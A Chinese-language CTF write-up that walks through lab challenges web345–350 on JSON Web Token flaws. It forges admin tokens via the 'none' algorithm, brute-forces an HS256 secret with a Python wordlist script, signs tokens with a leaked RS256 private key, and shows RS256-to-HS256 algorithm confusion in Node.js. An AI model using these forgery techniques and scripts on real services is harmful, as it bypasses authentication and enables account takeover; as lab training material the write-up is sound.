JWT浅析
JWT即JSON WEB TOKEN,由三个部分组成,并用两个“.”进行连接。第一部分为header(base64加密),第二部分为payload(base64加密),第三部分为verify signature,它的构成如下:
HEADER中alg对应的加密方式为HS256,也可以选择其他对称或非对称的加密方式,大同小异。
PAYLOAD中一般包括用户信息。
Verify Signature中包括加密的密码。
JWT本质上是一种校验值,用来验证身份和数据是否被更改。
web345-350
web345(none)
查看源码得到Hint/admin
访问后抓包看到cookie
Cookie: auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MjIwNTgwNTksImV4cCI6MTcyMjA2NTI1OSwibmJmIjoxNzIyMDU4MDU5LCJzdWIiOiJ1c2VyIiwianRpIjoiMzQ4NWJkNjFmY2MwZjFhNjY4NDNhYzlhYTBhMzZjNzEifV0
用.
将其分为两半分别base64解码
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0 --> {"alg":"None","typ":"jwt"}
W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MjIwNTgwNTksImV4cCI6MTcyMjA2NTI1OSwibmJmIjoxNzIyMDU4MDU5LCJzdWIiOiJ1c2VyIiwianRpIjoiMzQ4NWJkNjFmY2MwZjFhNjY4NDNhYzlhYTBhMzZjNzEifV0 -->[{"iss":"admin","iat":1722058059,"exp":1722065259,"nbf":1722058059,"sub":"user","jti":"3485bd61fcc0f1a66843ac9aa0a36c71"}]
然后将后半部分改为[{"sub":"admin"}]
base64编码后与第一部分拼接
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0A.W3sic3ViIjoiYWRtaW4ifV0
发送得到flag
web346-348(HS256)
这次使用了HS256加密,主要就是爆破key,网上有很多方法,这里我使用的是JWT_GUI
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcyMjA2MjAzMSwiZXhwIjoxNzIyMDY5MjMxLCJuYmYiOjE3MjIwNjIwMzEsInN1YiI6ImFkbWluIiwianRpIjoiNjUwZWVkZWVjNDAwYTA2ZTAxNWM1NjUzOWNkMmY5MTAifQ.Q2JT2tqgC8JogIjUH6PNNQN3_MY3QmDp8LK6aBj7Pfs
这里也有py爆破脚本
python ./pydictor.py -base d --len 1 6 -o nums1_6.txt
import jwt
import json
def runblasting(path,jwt_str,alg):
if alg == "none":
alg = "HS256"
with open(path,encoding='utf-8') as f:
for line in f:
key_ = line.strip()
print('use '+key_)
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
print('found key! -->' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError):
print('found key! -->' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")
if __name__ == '__main__':
path = './nums1_6.txt'
jwt_str = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjY2NzAxMywiZXhwIjoxNjMyNjc0MjEzLCJuYmYiOjE2MzI2NjcwMTMsInN1YiI6InVzZXIiLCJqdGkiOiIyNzM3NjJhOWU1NjZhMmIzNDJhYjUxN2VjNDNiOWY5YSJ9.4sf78nrf_g84F9m0Bpgbvn8fC1YkECCFZPd5U9tULYg"
alg = 'HS256'
runblasting(path,jwt_str,alg)
348 key : aabb
web349(RS256)
Hint:
// app.js
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
使用了RS256加密,但是公私钥都可以访问到
同上工具
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MjIwNjM2OTd9.tUleRykg1PvGpCF1_mpKka0XK0eYp0X68cYVDnexuzy1gHWlEnAtOqSuwSclFSeLqHPGhIuWWCbyMlLuj9H8E-wq2l3GZYIzbiDLjR6C0XDwVQqP2eSgP1E00bSedY-fJtsDD9Jwwk-Xu9sG5Zo56dkoUmo51vXuJimGiVj1HDU
web350(RS256 -> HS256)
可以根据公钥,修改算法从 非对称算法(比如RS256) 到 对称密钥算法(HS256)双方都使用公钥验签,顺利篡改数据
当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密,实现验签通过
const jwt = require('jsonwebtoken');
const fs = require('fs');
var privateKey = fs.readFileSync(process.cwd()+'\\public.key');
// console.log(privateKey);
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MjIwNjUxMDl9.M40dyhCvr5aIUAy_mEqCYJC8TAcbNrx02HOfhl-GRIU